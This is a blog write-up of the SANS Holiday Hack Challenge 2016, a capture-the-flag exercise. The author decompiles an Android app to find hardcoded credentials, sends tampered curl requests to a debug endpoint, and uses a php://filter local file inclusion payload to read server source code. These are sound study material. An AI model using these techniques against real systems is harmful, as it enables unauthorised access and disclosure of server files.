SANS Hack Challenge 2016

Ok, time for something new now. For the past 2 years I’ve been doing (rather irregularly) security assessments. It’s quite a new thing to me, compared to the 14 years I’ve spent doing software engineering. Still I’ve already learnt a lot and got some great results and huge customer satisfaction in my security related assignments.

This year, just as last year, I took part in the SANS holiday hack challenge: https://holidayhackchallenge.com/2016/ . The SANS team spent a lot of effort creating a whole browser game, combining graphics, music, gameplay and hacking. It turned out great!
Since the challenge is over, I can now publish my writeup.
The plot of the challenge is that someone kidnapped Santa, so you have to find Santa and the villain who did it. As a starting point you get a Twitter and an Instagram handle: @SantaWClaus
Eventually you will need to find 7 mp3 audio files, which are stored on various hosts, and complete the challenges from the browser game.

In the Instagram picture, if you zoom in, you find a hostname (northpolewonderland.com) and a filename SantaGram_v4.2.zip. This is your starting point.
The Tweets, when pasted together in a text editor, result in the message “Bug Bounty”, however there are no other clues on this path.

The audio files

Downloading the SantaGram file yields an Android APK, which I disassembled with apktool:

apktool d SantaGram_4.2.apk

This gave me the APK structure, with the Manifest and resources, as well as the code in smalli form. Smalli are Dalvik JVM instructions, so it’s better than bytecode, but not quite Java code.
I can already extract the first audio file from the res/raw folder: discombobulatedaudio1.mp3
Next, in the res/strings.xml file, I found the addresses of the hosts that we need to attack, in order to find the 6 remaining mp3s:

https://analytics.northpolewonderland.com , an analytics server
http://ads.northpolewonderland.com , an ad server
http://dev.northpolewonderland.com , the development server
http://dungeon.northpolewonderland.com , the dungeon game server
http://ex.northpolewonderland.com , the exception reporting server

Here’s how to hack each of the hosts. I’ll leave the 7th audio for a separate post, as it’s long and challenging enough to warrant its own article.

The analytics server

Going through the APK smali code (or using grep to look for “password”), I found the following snippet:

const-string v1, "username"
const-string v2, "guest"
invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
const-string v1, "password"
const-string v2, "busyreindeer78"
invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

Simply logging in with these credentials gets us the 2nd audio file. There is a menu item which downloads it.

The dungeon game server

Running nmap on the server shows me there is a process listening on port 11111. The original game of Zork runs there, from 1978: https://en.wikipedia.org/wiki/Zork
In the north pole world, I also got the binary of this particular version of Zork from one of the NPCs, unfortunately my reverse engineering skills are quite limited so I looked for an easier way of solving this challenge.
Fortunately the source of Zork is available on GitHub: https://github.com/devshane/zork. This was very helpful to understand how the game is created, and to find the cheat mode.
Entering GDT at the game prompt got me into cheat mode, after playing with the various commands I found the additional texts that were added by the SANS team to the game:
The command dt 1024 tells me to send an E-Mail to peppermint@northpolewonderland.com – and as a reply I got the 3rd audio file!

The debug server

Let’s see first where the debug server is used in the app:

grep -r "http://dev.northpolewonderland.com" .
./res/values/strings.xml: <string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string>

grep -r "debug_data_collection_url" .
./res/values/public.xml: <public type="string" name="debug_data_collection_url" id="0x7f07001d" />
./res/values/strings.xml: <string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string>

Digging further…

grep -r "0x7f07001d" .
./res/values/public.xml: <public type="string" name="debug_data_collection_url" id="0x7f07001d" />
./smali/com/northpolewonderland/santagram/EditProfile$1.smali: const v1, 0x7f07001d

Ok so I’ve found a class, EditProfile$1. This is an anonymous inner class of EditProfile. Going through the code of EditProfile, I see that it checks whether the debug flag “debug_data_enabled” is set, and when true, it submits some debug data to the dev server.
The flag is set to false, so I could actually change it in strings.xml, replackage the APK with apktool, sign it and run it on a device or in the emulator, to see what it does.
But I want to try to get the request content out of the smalli code.
After much trial and error I got a request that returns something:

curl -X POST -H "Content-Type: application/json" -d '{"date":"20161224123212", "udid":"ads", "android_id": "adasd", "debug":{"debug": "test"}, "freemem":"12321"}' http://dev.northpolewonderland.com/index.php
{"date":"20170113071539","status":"OK","filename":"debug-20170113071539-0.txt","request":{"date":"20161224123212","udid":"ads","android_id":"adasd","debug":{"debug":"test"},"freemem":"12321","verbose":false}}

There’s a hint in the response, namely verbose:false. So what if I try putting verbose:true in the request?

curl -X POST -H "Content-Type: application/json" -d '{"date":"20161224123212", "udid":"ads", "android_id": "adasd", "debug":{"debug": "test"}, "freemem":"12321", "verbose":true}' http://dev.northpolewonderland.com/index.php
{"date":"20170113071720","date.len":14,"status":"OK","status.len":"2","filename":"debug-20170113071720-0.txt","filename.len":26,"request":{"date":"20161224123212","udid":"ads","android_id":"adasd","debug":{"debug":"test"},"freemem":"12321","verbose":true},"files":["debug-20161224235959-0.mp3","debug-20170113071702-0.txt","debug-20170113071720-0.txt","index.php"]}

There it is! A longer list of files is returned, among them the 4th mp3 we’re looking for: debug-20161224235959-0.mp3 !

The banner ad server

Opening http://ads.northpolewonderland.com in the browser and looking at the source, I see it’s a web application built with the Meteor framework. The SANS team has recently blogged about extracting data from Meteor applications, and there’s also an in-game hint pointing in the same direction: https://pen-testing.sans.org/blog/2016/12/06/mining-meteor
So, next step is to install Tampermonkey and Meteor miner. I can now see all the routes (URLs) defined by the application. Going through them one by one I reach /admin/quotes
Strangely, there’s a 5th record shown for the HomeQuotes collection. Calling HomeQuotes.find().fetch() in the Javascript console gives me the path to the 5th audio:/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

The exception reporting server

The starting point here is the URL to the server: http://ex.northpolewonderland.com/exception.php
Thankfully this REST Endpoint gives back very detailed error messages, so just following them gets me thus far:

curl -X POST -H "Content-Type: application/json" -d '{"operation": "WriteCrashDump", "data":"abc"}' http://ex.northpolewonderland.com/exception.php
{
"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-WbQA6B.php"
}

The submitted data has been saved to a php script under the address http://ex.northpolewonderland.com/docs/crashdump-WbQA6B.php . Ok so it’s possible to write php files to the server.
Naturally, the next thing to try is to attempt writing php code:
curl -X POST -H "Content-Type: application/json" -d '{"operation": "WriteCrashDump", "data":""}' http://ex.northpolewonderland.com/exception.php
(Un)fortunately that doesn’t work, the php code is escaped. After some more attempts at writing php code and getting it to run, it’s time to look at the ReadCrashDump operation.

curl -X POST -H "Content-Type:application/json" -d '{"operation": "ReadCrashDump", "data": {"crashdump":"crashdump-WbQA6B"}}' http://ex.northpolewonderland.com/exception.php
"abc"

Ok so it’s possible to read back the submitted dumps. Is it possible to read any file from the server?
Doesn’t look so, curl -X POST -H "Content-Type:application/json" -d '{"operation": "ReadCrashDump", "data": {"crashdump":"../exception"}}' http://ex.northpolewonderland.com/exception.php doesn’t return anything.
Anyway, a recent blog post from SANS might give some precious clues: https://pen-testing.sans.org/blog/2016/12/07/getting-moar-value-out-of-php-local-file-include-vulnerabilities

Finally, running the following command gives me the Base64 encoded source of exception.php:
curl -X POST -H "Content-Type:application/json" -d '{"operation": "ReadCrashDump", "data": {"crashdump":"php://filter/convert.base64-encode/resource=exception"}}' http://ex.northpolewonderland.com/exception.php
The first line of the file shows the path to the 6th audio file: “Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

Coming up .. getting the 7th audio file, solving the browser game and putting it all together!

Leave a Reply

Your email address will not be published. Required fields are marked *